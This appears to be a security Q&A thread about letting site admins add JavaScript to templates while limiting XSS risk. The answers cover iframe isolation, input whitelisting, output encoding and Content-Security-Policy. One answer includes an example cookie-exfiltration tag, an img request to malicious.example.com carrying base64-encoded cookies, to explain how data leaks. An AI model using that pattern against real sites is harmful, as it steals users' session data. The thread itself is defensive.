We are trying to find the best way to allow JavaScript in a web application while being safe against XSS.

Site admins have the privilege to insert JavaScript to control the site templates, and publish this to site users. However, site users cannot insert JavaScript.

I know allowing JavaScript will open up a XSS vulnerability, letting site admins steal sensitive info from site users. Is there a better way to allow JavaScripts for site admins?

  • If they are a site admin then you may have to trust them with some level of control. However, this is one way of doing it with the iframe sandbox attribute: stackoverflow.com/a/21706409/413180 Commented Jan 28, 2019 at 11:50

3 Answers 3


Either run them in a cross-domain iframe, or use something like Google Caja to isolate them.


Your question shows a misguided understanding of XSS.

It is important for you to understand the basic mechanism of the exploit. User input data (from URL, cookies, post data, Etc. Can enter the program and thereafter be used to attack your users, your server or your business.

You need to identify every place where this input data appears, and subject it to a check such as a character whitelist (eg regex match). This will prevent injection flaws of any type, including XSS.

Further, you ADDITIONALLY have to ensure that any data printed out that is not generated by your own developers (including perhaps a site administrator in your case) is encoded appropriately for its context. E.g. replacing < with &lt; in html entities, and other encoding/escaping as appropriate for attributes, JavaScript, JSON etc.

The last part is when a subset of html or JavaScript is allowed as a user input (for example if you allow <B> but not <script> ). In this case you need to transform all input thusly:

  • Transforming < to &lt; etc.
  • And then transform the whitelisted sequences back, e.g &lt;B&gt; back to <B> and so forth.

In my example I show “whitelisted” html tags but you will have to similarly whitelist JavaScript. You have to go a bit further, understanding exactly which JavaScript could be allowed and run that through a parser to identify the parts that can he allowed in user input.

I hope you find this helpful. I am an application security expert with ten years’ experience.

  • My html entities were transformed in my answer so the answer doesn’t make sense. I will try again from the big computer (I am on mobile now)
    – Doug
    Commented Feb 27, 2019 at 12:52
  • Done. Waiting for peer review Commented Mar 2, 2019 at 10:44
  • I think you're talking about output encoding and not escaping in your examples. Encoding is when you transform between a logical representation of a text and escaping is a special character, often a backslash which initiates a different interpretation of a character: a quote (') becomes backslash quote (\')
    – Jeroen
    Commented Mar 2, 2019 at 16:58
  • You win the pedant award. Will change.
    – Doug
    Commented Mar 2, 2019 at 19:21

Since the site admins can edit the templates they have very high privileges on the site. You must assume they can edit and add anything, because HTML tag limitations provided by the CMS are for content, whereas templates could contain anything. In this case you could work with HTTP headers, if the site admins (web developers) don't have access to the server configuration.

The user data could leak if the site can load content from untrusted external sources. That doesn't limit to JavaScript, but any content. Therefore, limiting allowed tags is useless against your own web developers. With JavaScript alone it's possible to extract all cookies, encode them into base64 string and make the browser request for <img src="https://malicious.example.com/<base64string>.jpg">.

It's possible to prevent leakages by using Content-Security-Policy header, but it takes some effort to list all the external sources that are required by the site. You could use the developer tools (F12) on your browser to list the resources currently accessed as a starting point. Even more important than blocking such request is reporting them (report-to). Any measurements will be circumvented somehow, if some of the developers is really up to stealing your user data. If you become aware of such activity, you can denounce them. (Same applies to CMS add-ons: you can remove them.)

X-XSS-Protection is another response header for fighting XSS, but its only effective against non-persistent i.e. reflected XSS as it only removes reflected content from the site. It doesn't work against persistent scripts planted by your own developers and it's enabled by default, but likewise you might want to add reporting.

In order to make these truly effective you must also prevent web developers from modifying the headers. Example with Apache disable PHP function header() with php_admin_value[disable_functions] and use AllowOverride and AllowOverrideList to limit mod_headers directives in .htaccess.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .